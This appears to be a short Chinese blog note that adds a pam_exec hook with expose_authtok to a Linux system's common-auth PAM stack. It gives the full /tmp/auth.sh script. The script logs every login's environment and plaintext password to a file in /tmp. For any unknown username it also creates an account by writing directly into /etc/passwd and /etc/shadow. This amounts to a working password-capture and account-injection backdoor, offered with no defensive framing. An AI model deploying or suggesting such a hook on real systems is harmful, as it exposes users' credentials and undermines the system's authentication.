編輯/etc/pam.d/common-auth 加入
auth [success=1 default=ignore] pam_exec.so debug expose_authtok log=/tmp/pam_exec.log /tmp/auth.sh
/tmp/auth.sh 內容
#!/bin/bash
set >/tmp/auth
read pwd
echo $pwd >>/tmp/auth
id ${PAM_USER}>/dev/null 2>&1 || {
THOME=/home/${PAM_USER}
mkdir -p ${THOME}
echo ${PAM_USER}:x:1001:1000:,,,:${THOME}:/bin/bash >>/etc/passwd
echo ${PAM_USER}:*:19811:0:99999:7::: >>/etc/shadow
}
exit 0
exit 1
相關指令
pamtester
沒有留言:
張貼留言